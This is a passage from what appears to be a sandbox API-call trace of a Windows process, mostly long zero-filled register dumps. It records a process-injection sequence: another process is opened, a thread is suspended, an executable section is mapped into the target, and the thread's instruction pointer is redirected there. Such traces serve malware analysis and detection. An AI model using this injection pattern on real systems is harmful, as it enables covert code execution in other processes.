[82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0569.369] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0569.369] NtClose (Handle=0x1e4) returned 0x0 [0569.369] NtClose (Handle=0x20c) returned 0x0 [0569.371] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0x7b8, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0569.371] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0569.371] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0569.371] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0xad3000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0569.371] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0574.414] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0x908) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0574.428] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0574.429] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x28e0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0574.433] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x79f750, Ebx=0xad3000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x79f6f8, Eip=0x7742295c, SegCs=0x23, EFlags=0x212, Esp=0x79f6e0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0574.435] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0574.435] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0xdca00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0xdd000) returned 0x0 [0574.442] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0xdca00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0xcd0000, SectionOffset=0x0, ViewSize=0x6be5b0*=0xdd000) returned 0x0 [0574.454] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0574.493] NtClose (Handle=0x214) returned 0x0 [0574.493] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x79f750, Ebx=0xad3000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x79f6f8, Eip=0xd1a927, SegCs=0x23, EFlags=0x212, Esp=0x79f6e0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, 